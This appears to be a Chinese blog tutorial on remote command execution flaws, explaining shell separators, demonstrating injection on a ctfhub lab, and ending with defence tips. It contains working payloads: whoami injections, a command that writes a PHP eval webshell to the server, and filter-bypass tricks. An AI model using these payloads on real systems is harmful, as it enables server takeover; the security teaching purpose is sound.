RCE(remote command/code execute)远程命令/代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

RCE漏洞

应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、 shell_exec、 passthru、 popen、 proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞

拼接命令时需要用到管道符

Windows管道符

  1. |  :直接执行后面的语句。例如ping 127.0.0.1|whoami
  2. ||  :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。例如ping 2||whoami
  3. & :两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如ping 2&whoami
  4. && :如果前面的语句为假则直接出错,也不执行后面的话句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami

Linux管道符

  1. ; :执行完前面的语句再执行后面的语句。例如ping 127.0.0.1;whoami
  2. | :显示后面语句的执行结果。例如ping 127.0.0.1|whoami
  3. || :当前面的语句执行出错时,执行后面的语句。例如ping 2||whoami
  4. &  :两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。例如ping 2&whoami
  5. &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami

命令执行漏洞攻击演示

下面拿ctfhub中的命令注入靶场演示

是一个简单的ping网站的页面,输入ip进行ping命令,

输入ip没什么问题返回了结果,但是如果利用管道符拼接一些其他的系统命令例如whoami

成功执行了其他的系统命令

代码执行漏洞攻击演示

也可以利用系统命令写入一句话木马

127.0.0.1&echo "<?php @eval(\$_POST['test']);?>" > 1.php

至于一句话木马为什么要加 \ ,看了网上的回答。echo命令会调用$_POST导致原始文件中没有,因此需要改为echo  "<?php @eval(\$_POST['test']);?>" > 1.php即可

写入一句话木马之后,接下来用蚁剑连接即可

命令执行绕过过滤

这里就列出几个常见的,可以举一反三

  • 过滤cat

  127.0.0.1;a=c;b=at;$a$b rce.php或者127.0.0.1;a=c;b=at;${a}${b} rce_ping.php

  • ; | & 符号过滤

  用%0a来代替上面的符号。

  • 过滤空格

  如果空格也过滤掉,一般情况下%09 %0b %0c是有用的

防御RCE攻击

  • 尽量不要使用命令执行函数。
  • 客户端提交的变量在进入执行命令函数前要做好过滤和检测
  • 在使用动态函数之前,确保使用的函数是指定的函数之ー。
  • 对PHP语言来说,不能完全控制的危险函数最好不要使用

最新文章

  1. 剑指Offer面试题:1.实现Singleton模式
  2. MySql 连接字符串
  3. 【Web】URI和URL,及URL的编码
  4. 一天一小段js代码(no.2)
  5. Web Service中的几个重要术语
  6. php原子操作,文件锁flock,数据库事务
  7. linux下查看端口的连接数
  8. xamarin提供在线检查.net代码是否支援xamarin,ios,android
  9. HQL中左连接,右连接,内连接
  10. iOS 之 通知
  11. tomcat常用的配置
  12. Unix api
  13. Spring的quartz定时器重复执行二次的问题解决
  14. 阿里巴巴Java开发规范---个人总结
  15. calculate MAC,Lisence,Checksum and generate muti-file
  16. 总结:基于Oracle Logminer数据同步
  17. this和target目标对象的区别
  18. UILable 标题加粗代码
  19. dom操作 属性操作 样式操作
  20. 使用fir.im和蒲公英进行测试的一些注意事项

热门文章

  1. g6踩坑
  2. mongodb使用场景及与mysql区别
  3. 添加数据时报错:An error occurred while updating the entries. See the inner exception for detail。
  4. C/C++入门
  5. 【Azure 应用服务】Azure Function HTTP 触发后, 230秒就超时。而其他方式触发的Function, 执行5分钟后也超时,如何调整超时时间?
  6. sql注入漏洞笔记随笔
  7. Java流程控制02——顺序结构
  8. Android系统编程入门系列之服务Service齐头并进多线程任务
  9. JAVA集合体系之-开篇
  10. [编译] 9、在Linux下搭建 nordic 最新基于 zephyr 的开发烧写环境